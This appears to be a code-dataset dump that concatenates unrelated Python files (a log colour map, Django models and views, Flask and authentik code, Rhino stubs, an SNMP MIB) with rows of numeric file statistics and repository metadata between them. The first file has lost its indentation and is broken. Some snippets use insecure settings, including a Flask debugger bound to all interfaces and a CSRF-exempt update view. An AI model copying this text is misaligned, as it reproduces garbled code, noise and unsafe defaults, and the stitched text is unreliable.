import collections
import dataclasses
import typing
import click
from jsonlog_cli.record import RecordValue
K = typing.TypeVar("K")
V = typing.TypeVar("V")
@dataclasses.dataclass()
class Alias(typing.Generic[K]):
name: K
class AliasedDict(collections.UserDict, typing.Mapping[K, V]):
def __getitem__(self, item: K) -> V:
value = super().__getitem__(item)
if isinstance(value, Alias):
return self._get_alias(item, value)
return value
def _get_alias(self, original: K, alias: Alias[K]) -> V:
value = self.__getitem__(alias.name)
if isinstance(value, Alias):
raise Exception(f"Aliased key {original!r} points to alias {value!r}")
return value
@dataclasses.dataclass()
class Colour:
fg: typing.Optional[str] = None
bold: typing.Optional[bool] = None
def __bool__(self) -> bool:
return bool(self.fg)
def style(self, text: str) -> str:
return click.style(text, fg=self.fg, bold=self.bold) if self else text
ColorMapDefinition = typing.Mapping[RecordValue, typing.Union[Alias, Colour]]
@dataclasses.dataclass()
class ColourMap:
mapping: typing.Mapping[RecordValue, Colour]
def __init__(self, mapping: ColorMapDefinition) -> None:
self.mapping = AliasedDict({self.normalise(k): v for k, v in mapping.items()})
@classmethod
def empty(cls) -> ColourMap:
return cls({})
@classmethod
def default(cls) -> ColourMap:
return cls(
{
"info": Colour(fg="cyan"),
"warning": Colour(fg="yellow"),
"warn": Alias("warning"),
"error": Colour(fg="red"),
"critical": Colour(fg="red", bold=True),
"fatal": Alias("critical"),
}
)
def get(self, item: RecordValue) -> Colour:
return self.mapping.get(self.normalise(item), Colour())
@staticmethod
def normalise(value: RecordValue) -> RecordValue:
return value.casefold() if isinstance(value, str) else value
| 25.39759 | 86 | 0.62334 | 243 | 2,108 | 5.288066 | 0.312757 | 0.009339 | 0.058366 | 0.034241 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 2,108 | 82 | 87 | 25.707317 | 0.812777 | 0 | 0 | 0.160714 | 0 | 0 | 0.055028 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.160714 | false | 0 | 0.107143 | 0.107143 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
c71c0ecbc7b812fba9210d33941da55f4100fab8 | 390 | py | Python | faver_site/faver_app/migrations/0004_remove_faveruser_password.py | Zylphrex/friendly-octo-meme | 526763473b6d89f613d9f58232cf937f336f269d | [
"MIT"
] | null | null | null | faver_site/faver_app/migrations/0004_remove_faveruser_password.py | Zylphrex/friendly-octo-meme | 526763473b6d89f613d9f58232cf937f336f269d | [
"MIT"
] | null | null | null | faver_site/faver_app/migrations/0004_remove_faveruser_password.py | Zylphrex/friendly-octo-meme | 526763473b6d89f613d9f58232cf937f336f269d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-01-22 00:23
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('faver_app', '0003_contract'),
]
operations = [
migrations.RemoveField(
model_name='faveruser',
name='password',
),
]
| 19.5 | 48 | 0.610256 | 42 | 390 | 5.47619 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073944 | 0.271795 | 390 | 19 | 49 | 20.526316 | 0.735915 | 0.174359 | 0 | 0 | 1 | 0 | 0.122257 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.083333 | 0.166667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c71cb94612c01fad654373c0dc003f9cb4a8651c | 325 | py | Python | run_api.py | JyLIU-emma/Projet_flask_RESTful_API_final | a5b7afc217f75df1db01b492bc06260970dedde6 | [
"CC0-1.0"
] | null | null | null | run_api.py | JyLIU-emma/Projet_flask_RESTful_API_final | a5b7afc217f75df1db01b492bc06260970dedde6 | [
"CC0-1.0"
] | null | null | null | run_api.py | JyLIU-emma/Projet_flask_RESTful_API_final | a5b7afc217f75df1db01b492bc06260970dedde6 | [
"CC0-1.0"
] | 1 | 2021-07-09T18:30:47.000Z | 2021-07-09T18:30:47.000Z | from flask import Flask
from werkzeug.middleware.dispatcher import DispatcherMiddleware
from backend.api_sep import app as back
# from frontend.app import app as front
back
if __name__=='__main__':
back.run(host='0.0.0.0', port=5000, use_evalex=True,
use_reloader=True, use_debugger=True) | 27.083333 | 64 | 0.716923 | 47 | 325 | 4.702128 | 0.595745 | 0.027149 | 0.099548 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030769 | 0.2 | 325 | 12 | 65 | 27.083333 | 0.819231 | 0.113846 | 0 | 0 | 0 | 0 | 0.054348 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.428571 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
c722d6d57b73a8c5f5e0b71951c86a933bb6a3ea | 714 | py | Python | spark_auto_mapper_fhir/value_sets/document_section_type.py | imranq2/SparkAutoMapper.FHIR | dd23b218fb0097d1edc2f3e688e8d6d4d7278bd2 | [
"Apache-2.0"
] | 1 | 2020-10-31T23:25:07.000Z | 2020-10-31T23:25:07.000Z | spark_auto_mapper_fhir/value_sets/document_section_type.py | icanbwell/SparkAutoMapper.FHIR | 98f368e781b46523142c7cb513c670d659a93c9b | [
"Apache-2.0"
] | null | null | null | spark_auto_mapper_fhir/value_sets/document_section_type.py | icanbwell/SparkAutoMapper.FHIR | 98f368e781b46523142c7cb513c670d659a93c9b | [
"Apache-2.0"
] | null | null | null | from __future__ import annotations
from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode
from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType
# This file is auto-generated by generate_classes so do not edit manually
# noinspection PyPep8Naming
class DocumentSectionType(GenericTypeCode):
"""
v3.DocumentSectionType
From: http://terminology.hl7.org/ValueSet/v3-DocumentSectionType in v3-codesystems.xml
The type of document section. Possible values: review of systems, medical
history, family history, microscopic findings, etc.
"""
def __init__(self, value: AutoMapperTextInputType):
super().__init__(value=value)
| 35.7 | 90 | 0.788515 | 83 | 714 | 6.518072 | 0.722892 | 0.033272 | 0.048059 | 0.07024 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00821 | 0.147059 | 714 | 19 | 91 | 37.578947 | 0.880131 | 0.47619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.5 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
c724cdb5aa54906a87530e152d215a9600d1b5c6 | 285 | py | Python | icbd/compiler/tests/94.py | kmod/icbd | 9636564eb3993afa07c6220d589bbd1991923d74 | [
"MIT"
] | 7 | 2015-04-06T15:17:13.000Z | 2020-10-21T04:57:00.000Z | icbd/compiler/tests/94.py | kmod/icbd | 9636564eb3993afa07c6220d589bbd1991923d74 | [
"MIT"
] | null | null | null | icbd/compiler/tests/94.py | kmod/icbd | 9636564eb3993afa07c6220d589bbd1991923d74 | [
"MIT"
] | 4 | 2016-05-16T17:53:08.000Z | 2020-11-28T17:18:50.000Z | """
collections.deque
"""
def main():
from collections import deque
d = deque()
for i in xrange(25):
d.append(i)
print list(d)
print d.popleft()
print list(d)
d.appendleft(55)
for i in xrange(5):
print d.pop()
print list(d)
main()
| 15 | 33 | 0.557895 | 42 | 285 | 3.785714 | 0.47619 | 0.169811 | 0.188679 | 0.150943 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025253 | 0.305263 | 285 | 18 | 34 | 15.833333 | 0.777778 | 0 | 0 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.076923 | null | null | 0.384615 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c74d5a905b8d49d334ec0bcb1796557201f713b1 | 4,445 | py | Python | release/stubs.min/Rhino/Geometry/__init___parts/Vector2d.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs.min/Rhino/Geometry/__init___parts/Vector2d.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs.min/Rhino/Geometry/__init___parts/Vector2d.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | class Vector2d(
object,
ISerializable,
IEquatable[Vector2d],
IComparable[Vector2d],
IComparable,
IEpsilonComparable[Vector2d],
):
"""
Represents the two components of a vector in two-dimensional space,
using System.Double-precision floating point numbers.
Vector2d(x: float,y: float)
"""
def CompareTo(self, other):
"""
CompareTo(self: Vector2d,other: Vector2d) -> int
Compares this Rhino.Geometry.Vector2d with another Rhino.Geometry.Vector2d.
Components evaluation priority is first X,then Y.
other: The other Rhino.Geometry.Vector2d to use in comparison.
Returns: 0: if this is identical to other-1: if this.X < other.X-1: if this.X == other.X and this.Y <
other.Y+1: otherwise.
"""
pass
def EpsilonEquals(self, other, epsilon):
"""
EpsilonEquals(self: Vector2d,other: Vector2d,epsilon: float) -> bool
Check that all values in other are within epsilon of the values in this
"""
pass
def Equals(self, *__args):
"""
Equals(self: Vector2d,vector: Vector2d) -> bool
Determines whether the specified vector has the same value as the present vector.
vector: The specified vector.
Returns: true if vector has the same components as this; otherwise false.
Equals(self: Vector2d,obj: object) -> bool
Determines whether the specified System.Object is a Vector2d and has the same value as the
present vector.
obj: The specified object.
Returns: true if obj is Vector2d and has the same components as this; otherwise false.
"""
pass
def GetHashCode(self):
"""
GetHashCode(self: Vector2d) -> int
Provides a hashing value for the present vector.
Returns: A non-unique number based on vector components.
"""
pass
def ToString(self):
"""
ToString(self: Vector2d) -> str
Constructs a string representation of the current vector.
Returns: A string in the form X,Y.
"""
pass
def Unitize(self):
"""
Unitize(self: Vector2d) -> bool
Unitizes the vector in place. A unit vector has length 1 unit.
An invalid or zero
length vector cannot be unitized.
Returns: true on success or false on failure.
"""
pass
def __eq__(self, *args):
""" x.__eq__(y) <==> x==y """
pass
def __ge__(self, *args):
pass
def __gt__(self, *args):
pass
def __init__(self, *args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __le__(self, *args):
pass
def __lt__(self, *args):
pass
@staticmethod
def __new__(self, x, y):
"""
__new__[Vector2d]() -> Vector2d
__new__(cls: type,x: float,y: float)
"""
pass
def __ne__(self, *args):
pass
def __reduce_ex__(self, *args):
pass
def __repr__(self, *args):
""" __repr__(self: object) -> str """
pass
def __str__(self, *args):
pass
IsValid = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Gets a value indicating whether this vector is valid.
A valid vector must be formed of valid component values for x,y and z.
Get: IsValid(self: Vector2d) -> bool
"""
Length = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Computes the length (or magnitude,or size) of this vector.
This is an application of Pythagoras' theorem.
Get: Length(self: Vector2d) -> float
"""
X = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Gets or sets the X (first) component of this vector.
Get: X(self: Vector2d) -> float
Set: X(self: Vector2d)=value
"""
Y = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Gets or sets the Y (second) component of this vector.
Get: Y(self: Vector2d) -> float
Set: Y(self: Vector2d)=value
"""
Unset = None
Zero = None
| 19.755556 | 221 | 0.597075 | 545 | 4,445 | 4.688073 | 0.27156 | 0.041096 | 0.032877 | 0.029354 | 0.260274 | 0.207045 | 0.196086 | 0.196086 | 0.138943 | 0.138943 | 0 | 0.010652 | 0.303037 | 4,445 | 224 | 222 | 19.84375 | 0.814074 | 0.457143 | 0 | 0.346939 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.346939 | false | 0.346939 | 0 | 0 | 0.489796 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c7529d536131764161f2d47f6647dec191054197 | 2,039 | py | Python | authentik/admin/api/metrics.py | BeryJu/passbook | 350f0d836580f4411524614f361a76c4f27b8a2d | [
"MIT"
] | 15 | 2020-01-05T09:09:57.000Z | 2020-11-28T05:27:39.000Z | authentik/admin/api/metrics.py | BeryJu/passbook | 350f0d836580f4411524614f361a76c4f27b8a2d | [
"MIT"
] | 302 | 2020-01-21T08:03:59.000Z | 2020-12-04T05:04:57.000Z | authentik/admin/api/metrics.py | BeryJu/passbook | 350f0d836580f4411524614f361a76c4f27b8a2d | [
"MIT"
] | 3 | 2020-03-04T08:21:59.000Z | 2020-08-01T20:37:18.000Z | """authentik administration metrics"""
from drf_spectacular.utils import extend_schema, extend_schema_field
from guardian.shortcuts import get_objects_for_user
from rest_framework.fields import IntegerField, SerializerMethodField
from rest_framework.permissions import IsAdminUser
from rest_framework.request import Request
from rest_framework.response import Response
from rest_framework.views import APIView
from authentik.core.api.utils import PassiveSerializer
from authentik.events.models import EventAction
class CoordinateSerializer(PassiveSerializer):
"""Coordinates for diagrams"""
x_cord = IntegerField(read_only=True)
y_cord = IntegerField(read_only=True)
class LoginMetricsSerializer(PassiveSerializer):
"""Login Metrics per 1h"""
logins_per_1h = SerializerMethodField()
logins_failed_per_1h = SerializerMethodField()
@extend_schema_field(CoordinateSerializer(many=True))
def get_logins_per_1h(self, _):
"""Get successful logins per hour for the last 24 hours"""
user = self.context["user"]
return (
get_objects_for_user(user, "authentik_events.view_event")
.filter(action=EventAction.LOGIN)
.get_events_per_hour()
)
@extend_schema_field(CoordinateSerializer(many=True))
def get_logins_failed_per_1h(self, _):
"""Get failed logins per hour for the last 24 hours"""
user = self.context["user"]
return (
get_objects_for_user(user, "authentik_events.view_event")
.filter(action=EventAction.LOGIN_FAILED)
.get_events_per_hour()
)
class AdministrationMetricsViewSet(APIView):
"""Login Metrics per 1h"""
permission_classes = [IsAdminUser]
@extend_schema(responses={200: LoginMetricsSerializer(many=False)})
def get(self, request: Request) -> Response:
"""Login Metrics per 1h"""
serializer = LoginMetricsSerializer(True)
serializer.context["user"] = request.user
return Response(serializer.data)
| 34.559322 | 71 | 0.728298 | 228 | 2,039 | 6.280702 | 0.320175 | 0.024441 | 0.059358 | 0.035615 | 0.297486 | 0.25838 | 0.25838 | 0.25838 | 0.25838 | 0.178771 | 0 | 0.008429 | 0.185385 | 2,039 | 58 | 72 | 35.155172 | 0.853703 | 0.108877 | 0 | 0.263158 | 0 | 0 | 0.037058 | 0.03032 | 0 | 0 | 0 | 0 | 0 | 1 | 0.078947 | false | 0.078947 | 0.236842 | 0 | 0.605263 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
c75b2c7297e63e397681613f3d65a5607c279642 | 2,302 | py | Python | softdelete/views.py | BehaviorCloud/django-softdelete | f74fb5a2ef2c3777d1c2a30513cf57c641649096 | [
"BSD-2-Clause"
] | null | null | null | softdelete/views.py | BehaviorCloud/django-softdelete | f74fb5a2ef2c3777d1c2a30513cf57c641649096 | [
"BSD-2-Clause"
] | null | null | null | softdelete/views.py | BehaviorCloud/django-softdelete | f74fb5a2ef2c3777d1c2a30513cf57c641649096 | [
"BSD-2-Clause"
] | null | null | null | from django.http import HttpResponse, Http404, HttpResponseRedirect
from django.conf import settings
from django.shortcuts import render_to_response, get_object_or_404, redirect
from django.core.urlresolvers import reverse
from django.core import serializers
from django.contrib import auth
from django.contrib.auth.decorators import permission_required
from django.forms.models import inlineformset_factory
from django.views.generic import *
from django.views.generic.base import TemplateResponseMixin, View
from django.views.decorators.csrf import csrf_exempt
from django.utils.decorators import method_decorator
from django.template import RequestContext
from softdelete.forms import *
from softdelete.models import *
import logging
class ProtectedView(object):
@method_decorator(permission_required('softdelete.can_undelete'))
def dispatch(self, *args, **kwargs):
return super(ProtectedView, self).dispatch(*args, **kwargs)
def get_context_data(self, **kwargs):
context = super(ProtectedView, self).get_context_data(**kwargs)
context['request'] = self.request
return context
class ChangeSetList(ProtectedView, ListView):
model = ChangeSet
def get_query_set(self):
return self.model.objects.all()
def get_queryset(self):
return self.model.objects.all()
class ChangeSetDetail(ProtectedView, DetailView):
model = ChangeSet
def get_object(self):
return get_object_or_404(ChangeSet, pk=self.kwargs['changeset_pk'])
class ChangeSetUpdate(ProtectedView, UpdateView):
model = ChangeSet
form_class = ChangeSetForm
def get_object(self):
return get_object_or_404(ChangeSet, pk=self.kwargs['changeset_pk'])
def get_success_url(self):
return reverse('softdelete.changeset.list')
@method_decorator(csrf_exempt)
def dispatch(self, *args, **kwargs):
return super(ChangeSetUpdate, self).dispatch(*args, **kwargs)
def post(self, request, *args, **kwargs):
if request.POST.get('action') != 'Undelete':
return HttpResponseRedirect(reverse('softdelete.changeset.view',
args=(kwargs['changeset_pk'],)))
self.get_object().undelete()
return HttpResponseRedirect(self.get_success_url())
| 36.539683 | 80 | 0.735013 | 268 | 2,302 | 6.171642 | 0.302239 | 0.078597 | 0.019952 | 0.025393 | 0.191052 | 0.160822 | 0.125756 | 0.082225 | 0.082225 | 0.082225 | 0 | 0.006286 | 0.170721 | 2,302 | 62 | 81 | 37.129032 | 0.860136 | 0 | 0 | 0.22 | 0 | 0 | 0.056473 | 0.031712 | 0 | 0 | 0 | 0 | 0 | 1 | 0.18 | false | 0 | 0.32 | 0.14 | 0.86 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 2 |
c7625c7eb0f13c1cf1ef14f3c1cc3bff22b519e2 | 711 | py | Python | src/old-verbio/tools.py | jasondraether/verbio | 0db543ebdee05e5cc24556d2239b7eaf215361a2 | [
"MIT"
] | null | null | null | src/old-verbio/tools.py | jasondraether/verbio | 0db543ebdee05e5cc24556d2239b7eaf215361a2 | [
"MIT"
] | null | null | null | src/old-verbio/tools.py | jasondraether/verbio | 0db543ebdee05e5cc24556d2239b7eaf215361a2 | [
"MIT"
] | null | null | null | from typing import List
def combine_dicts(data_map1: dict, data_map2: dict) -> dict:
return {**data_map1, **data_map2}
def is_pt_valid(data_map: dict, exp_features: List[str], exp_sessions: List[str]) -> bool:
"""Searches for (feature, session) pairs in data map for participant
Args:
data_map (dict): Dictionary indexed with keys (feature, session)
exp_features (List[str]): Expected features to search for
exp_sessions (List[str]): Expected sessions to search for
Returns:
bool: True if participant has all expected feature session pairs, False otherwise
"""
for feature in exp_features:
for session in exp_sessions:
if (feature, session) not in data_map: return False
return True
| 32.318182 | 90 | 0.746835 | 107 | 711 | 4.813084 | 0.411215 | 0.054369 | 0.042718 | 0.069903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006723 | 0.16315 | 711 | 21 | 91 | 33.857143 | 0.858824 | 0.530239 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0.125 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
c7649ce2cbf3a49e2d9974e2aff71ea1225a1b10 | 625 | py | Python | grammar/models.py | andyfangdzarchive/My-SAT-Life | 789b556c603d1ca59173f99a86399397135f483d | [
"Unlicense"
] | null | null | null | grammar/models.py | andyfangdzarchive/My-SAT-Life | 789b556c603d1ca59173f99a86399397135f483d | [
"Unlicense"
] | null | null | null | grammar/models.py | andyfangdzarchive/My-SAT-Life | 789b556c603d1ca59173f99a86399397135f483d | [
"Unlicense"
] | null | null | null | from django.db import models
# Create your models here.
class Grammar(models.Model):
nick = models.CharField('Nick name',max_length=200)
question_1st = models.CharField('First part of question',max_length=200)
question_2nd = models.CharField('Second part of question',max_length=200)
pub_date = models.DateTimeField('date published')
def __unicode__(self):
return self.nick
class Choice(models.Model):
parent = models.ForeignKey(Grammar)
choice_text = models.CharField(max_length=200)
is_correct = models.BooleanField('This is the correct answer')
def __unicode__(self):
return self.choice_text
| 31.25 | 75 | 0.7632 | 86 | 625 | 5.337209 | 0.488372 | 0.130719 | 0.104575 | 0.087146 | 0.217865 | 0.11329 | 0 | 0 | 0 | 0 | 0 | 0.025878 | 0.1344 | 625 | 19 | 76 | 32.894737 | 0.822551 | 0.0384 | 0 | 0.142857 | 0 | 0 | 0.156928 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.071429 | 0.142857 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
c76e13a088d71a1fbb7fe6f15ab10548482edf8b | 508 | py | Python | sunblaze_envs/base.py | llucid-97/rl-generalization | 5561067d6fe0f8873a1e83b2479a6a6faa820dfa | [
"MIT"
] | 84 | 2018-10-31T19:45:03.000Z | 2022-02-17T17:29:12.000Z | sunblaze_envs/base.py | llucid-97/rl-generalization | 5561067d6fe0f8873a1e83b2479a6a6faa820dfa | [
"MIT"
] | 9 | 2018-11-29T13:29:59.000Z | 2021-05-11T23:54:20.000Z | sunblaze_envs/base.py | llucid-97/rl-generalization | 5561067d6fe0f8873a1e83b2479a6a6faa820dfa | [
"MIT"
] | 15 | 2018-10-31T19:45:29.000Z | 2022-03-25T16:06:11.000Z | from abc import ABC, abstractmethod
import gym
class BaseGymEnvironment(gym.Env):
"""Base class for all Gym environments."""
@property
def parameters(self):
"""Return environment parameters."""
return {
'id': self.spec.id,
}
class EnvBinarySuccessMixin(ABC):
"""Adds binary success metric to environment."""
@abstractmethod
def is_success(self):
"""Returns True is current state indicates success, False otherwise"""
pass
| 20.32 | 79 | 0.635827 | 53 | 508 | 6.075472 | 0.660377 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.261811 | 508 | 24 | 80 | 21.166667 | 0.858667 | 0.344488 | 0 | 0 | 0 | 0 | 0.006431 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.083333 | 0.166667 | 0 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
c775207c06053963492d92c714c9735b516b1198 | 414 | py | Python | sandbox/core/system.py | xe1gyq/EekMex | dbe5c39a7fca92b7f3e734ae729176024149edf7 | [
"Apache-2.0"
] | null | null | null | sandbox/core/system.py | xe1gyq/EekMex | dbe5c39a7fca92b7f3e734ae729176024149edf7 | [
"Apache-2.0"
] | 2 | 2015-06-16T13:38:55.000Z | 2015-06-17T02:05:17.000Z | sandbox/core/system.py | xe1gyq/eekmex | dbe5c39a7fca92b7f3e734ae729176024149edf7 | [
"Apache-2.0"
] | null | null | null | import commands
import logging
import numpy
import math
import psutil
from utilities import BytesToHuman
class System(object):
def __init__(self):
pass
def cpu(mode):
output = psutil.cpu_times_percent(interval=1, percpu=False)
return "%.1f" % output.system
def memory(self):
output = psutil.virtual_memory()
return BytesToHuman(output.total)
# End of File
| 18 | 67 | 0.683575 | 51 | 414 | 5.411765 | 0.647059 | 0.086957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006329 | 0.236715 | 414 | 22 | 68 | 18.818182 | 0.867089 | 0.02657 | 0 | 0 | 0 | 0 | 0.009975 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.066667 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
c77c3c06c0d22b5c72807917b4d4c2d20c303cd3 | 14,678 | py | Python | pysnmp-with-texts/AGG-TRAP-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/AGG-TRAP-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/AGG-TRAP-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module AGG-TRAP-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/AGG-TRAP-MIB
# Produced by pysmi-0.3.4 at Wed May 1 11:15:43 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
devName, mateHost, unknownDeviceTrapContents, pepName, oldFile, reason, result, matePort, file, sbProducerPort, port, snName, host, myHost, minutes, newFile, sbProducerHost, myPort = mibBuilder.importSymbols("AGGREGATED-EXT-MIB", "devName", "mateHost", "unknownDeviceTrapContents", "pepName", "oldFile", "reason", "result", "matePort", "file", "sbProducerPort", "port", "snName", "host", "myHost", "minutes", "newFile", "sbProducerHost", "myPort")
ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsIntersection", "ConstraintsUnion")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
snmpModules, ObjectName, Counter32, IpAddress, Integer32, TimeTicks, ModuleIdentity, Unsigned32, Gauge32, NotificationType, enterprises, Counter64, Bits, ObjectIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier, iso = mibBuilder.importSymbols("SNMPv2-SMI", "snmpModules", "ObjectName", "Counter32", "IpAddress", "Integer32", "TimeTicks", "ModuleIdentity", "Unsigned32", "Gauge32", "NotificationType", "enterprises", "Counter64", "Bits", "ObjectIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "MibIdentifier", "iso")
RowStatus, TruthValue, TestAndIncr, DisplayString, TimeStamp, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "RowStatus", "TruthValue", "TestAndIncr", "DisplayString", "TimeStamp", "TextualConvention")
lucent = MibIdentifier((1, 3, 6, 1, 4, 1, 1751))
products = MibIdentifier((1, 3, 6, 1, 4, 1, 1751, 1))
mantraDevice = MibIdentifier((1, 3, 6, 1, 4, 1, 1751, 1, 1198))
mantraTraps = ModuleIdentity((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0))
